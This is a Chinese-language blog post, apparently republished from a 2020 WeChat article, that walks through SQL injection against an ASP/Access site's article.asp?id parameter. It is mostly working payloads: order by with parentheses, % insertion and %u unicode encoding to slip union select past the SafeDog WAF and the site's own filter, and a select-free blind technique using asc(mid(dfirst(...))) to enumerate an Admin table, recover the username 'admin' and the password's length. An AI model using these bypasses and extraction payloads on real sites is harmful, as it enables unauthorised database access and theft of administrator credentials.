前言

20年发在公众号的文章,技术青涩

0x01判断注入

article.asp?id=6903'

在id参数后面加个单引号被拦截,代码层拦截单引号

l86wk0vx.png

在参数后面随便加个符号页面报错,看到错误信息

article.asp?id=6903~

l86wkyyu.png

我们可以得知使用的数据库是Access,访问得到的是id为6902的内容存在注入猜测大概语句为

select * from xxxx where id=6903-1

0x02 order by

article.asp?id=6903 order by 5

l86wmkad.png

经过测试by 后面不能出现任何数字开头的

article.asp?id=6903 order by (5)

加个小括号成功绕过

article.asp?id=6903 order by (12)

11正常12错误得到列数11

l86wnczi.png

0x03 联合查询

article.asp?id=6903 union select

l86wozli.png

union 跟select不能同时出现不然会被拦截

在asp+iis的环境中存在一个特性,就是特殊符号%,在该环境下当们我输入s%elect的时候,在WAF层可能解析出来的结果就是s%elect,但是在iis+asp的环境的时候,解析出来的结果为select。

article.asp?id=6903 unio%n

l86wpbgh.png

发现是可以的,但是将select拼上去后一样拦截

article.asp?id=6903 unio%n select 拦截
article.asp?id=6903 unio%n s%elect 拦截
article.asp?id=6903 unio%n s%e%l%e%c%t 拦截

还有一种注释绕过

article.asp?&a=/*&id=6903 union select&b=*/

成功绕过安全狗但是被自带代码拦截,测出拦截字符*,那这条路就走不通了

l86wpm30.png

iis服务器支持对于unicode的解析,例如我们对于select中的字符进行unicode编码,可以得到如下的sel%u0065%u0063t,这种字符在IIS接收到之后会被转换为select,但是对于WAF层,可能接收到的内容还是sel%u0065%u0063t,这样就会形成bypass的可能。

我们将union select转为Unicode然后将换成%即可

由于自带waf拦截select大小写绕过union seleCt

article.asp?id=6903 %u0075%u006e%u0069o%u006e %u0073ele%u0043%u0074

l86wq23o.png

在select后面出现任何字符都会被安全狗拦截

l86wq6aw.png

0x04无select获取数据

select * from xxxx where id=6903+asc(mid((dfirst("[列名]","[表名]")),1,1))-97

假设列名字段第一个字符为a,对应ascii为97,所以id=6903+97-97 还是等于6903,页面返回无任何变化

article.asp?id=6903 %2basc(Mid((dfirst("[test]","[test]")),1,1))-97

需要注意的是+号需要使用%2b,当表名不存在页面返回错误提示没有该表

l86wsjoe.png

article.asp?id=6903 %2basc(Mid((dfirst("[test]","[Admin]")),1,1))-97

当表名正确列名不正确时页面也会报错,可以得知存在admin表

l86wspaa.png

article.asp?id=6903%2basc(Mid((dfirst("[username]","[Admin]")),1,1))-97

得到username字段,且页面无变化得到的一位ascii值为97=a

article.asp?id=6903%2basc(Mid((dfirst("[username]","[Admin]")),2,1))-100

得到第二位ascii值为97=d

article.asp?id=6903%2basc(Mid((dfirst("[username]","[Admin]")),5,1))-110

得到第五位ascii值为110=n

article.asp?id=6903%2basc(Mid((dfirst("[username]","[Admin]")),6,1))-110

获取第六位时页面报错证明只有五位得到账号admin

l86wsznn.png

article.asp?id=6903%2basc(Mid((dfirst("[password]","[Admin]")),17,1))-1

得到password字段,且长度为16

最后修改:2022 年 09 月 18 日
如果觉得我的文章对你有用,请随意赞赏